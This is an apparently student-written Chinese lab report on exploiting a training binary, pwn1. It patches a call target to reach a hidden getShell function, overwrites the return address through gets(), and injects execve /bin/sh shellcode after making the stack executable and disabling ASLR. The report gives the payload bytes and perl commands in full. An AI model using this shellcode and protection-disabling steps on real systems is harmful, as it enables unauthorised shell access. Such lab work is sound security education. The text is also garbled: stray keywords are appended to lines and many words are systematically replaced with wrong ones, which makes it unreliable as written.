本次实践的对象是一个名为pwn1的linux可执行文件。linux
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。实践目标即为想办法运行这个代码片断。vim
本次实验主要内容为经过第一种方法达到实践目标。windows
2.1 在pwn1文件所在目录打开终端,备份文件并更改文件名为学号,命令以下:sass
cp pwn1 20154308
2.2 利用反汇编命令查看该文件的机器指令,命令以下:安全
objdump -d 20154308
从图中能够看到主函数中调用位于8048491处的foo函数,对应的机器指令为e8 d7 ff ff ff,经过猜想可知e8为跳转之意。服务器
原本正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令,CPU就会转而执行“EIP+d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491这个值。在这里进行计算时要注意在计算机内是采用小端模式即低字节优先。dom
main函数调用foo,对应机器指令为“e8d7ffffff”,那咱们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。函数
47d-4ba获得补码,是c3ffffff。下面咱们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。工具
2.3 进入该文件的vi编辑模式,命令以下:
vim 20154308
2.4 按一下esc键,敲入以下命令,查看其十六进制格式
:%!xxd
2.5 键入以下命令,/表示查找
2.6 按一下esc键,经过方向键将光标移到修改处,按r表示修改,将d7修改成c3
2.7 键入以下命令,转回原格式,并存盘退出
:%!xxd -r :wq
2.8 再利用反汇编命令查看该文件
objdump -d 20154308
能够看到,原先的机器指令e8d7ffffff已经改成e8c3ffffff,调用的也是咱们所但愿的getshell函数。
如此一来,本次实验的第一部分就结束了。
3.1 反汇编,了解程序基本功能
反汇编首先经过反汇编分析该文件,发现该可执行文件正常状况下是调用foo函数,而foo函数中使用了gets函数,该函数不会检查用户输入的长度,因此咱们能够经过输入过长的参数,使超过部分溢出,覆盖返回地址,形成BOF攻击,改变程序执行流。
3.2 确认输入字符串哪几个字符回复该到返回地址
调试并运行该文件gdb 20154308
r
,接下来即要求输入参数,咱们尝试性地输入1111111122222222333333334444444455555555
执行结果以下图所示,报错。
如今咱们经过命令info r
查看各个寄存器内的值能够发现此时eip内的值为0x35353535
,即ASCII 5,也就是说咱们输入的最后八个5中的某四个覆盖了返回地址。
为了进一步肯定是哪四个,咱们从新运行该文件r
,并输入1111111122222222333333334444444412345678
,此时能够发现eip的值为0x34333231
,即ASCII 1234,也就是说上述字符串中的1234最终覆盖到了堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。咱们只要把这四个字符替换为getshell的内存地址,输给20154308,该文件就会运行getshell。
3.3 确认用什么值来覆盖返回地址
在以前咱们知道getshell的内存地址是0804847d
,加上以前所学在计算机内采用小端优先存储,咱们能够肯定须要输入的字符串为11111111222222223333333344444444\x7d\x84\x04\x08
3.4 构造输入字符串
因为咱们无法经过键盘输入指定的16进制,咱们经过如下命令来完成此操做
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
并经过xxd
查看其十六进制格式
而后将input的输入,经过管道符|
,做为20154308的输入
(cat input; cat) | ./20154308
此时main函数成功地调用了getshell函数,此时咱们就能够输入shell指令了,如图
4.1 准备一段shellcode
4.2准备工做
修改设置
apt-get instal prelink
下载安装ececstack,不然接下来的命令没法执行
execstack -s 20154308
设置堆栈可执行
execstack -q 20154308
查询堆栈的文件是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
more /proc/sys/kernel/randomize_va_space
4.3 构造要注入的payload
经过构造 anything+retaddr+nops+shellcode 来构造攻击buf。nop一为是了填充,二是做为“着陆区/滑行区”。咱们猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode。
咱们使用以下shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
并注入这段攻击buf (cat input_shellcode;cat) | ./pwn20154308
最后的\x4\x3\x2\x1
会覆盖到堆栈上返回地址的位置,下面咱们要肯定返回地址的位置填什么。
打开另外一个终端,用gdb
调试pwn20154308
这个进程
ps -ef | grep pwn20154308
找到进程号gdb
启动gdb调试这个进程disassemble foo
经过设置断点,来查看注入buf的内存地址break *0x080484ae
c
info r esp
查看寄存器地址
x/16x 0xffffd3ac
此时看到01020304
,继续缩小范围,直到找到90909090
,即咱们的shellcode开始的地址,即0xffffd38c
找到相应地址后,咱们使用c
quit
退出调试
01020304
的地址是0xffffd3ac
,就是返回地址的位置。shellcode就挨着,因此返回地址是 0xffffd3b0
,90909090
的地址是0xffffd38c
,因此shellcode的地址是0xffffd390
(吸收讲义上的教训)咱们将以前的shellcode改成
perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x90\xd3\xff\xff\x00"' > input_shellcode
前面的32个A用来填满buf,\xb0\xd3\xff\xff
为返回地址,剩下部分为shellcode
并注入这段buf (cat input_shellcode;cat) | ./pwn20154308
执行结果以下
攻击成功!
汇编指令 | 机器码 |
---|---|
NOP | 90 |
JNE | 75 |
JE | 74 |
JMP | eb |
CMP | 39 |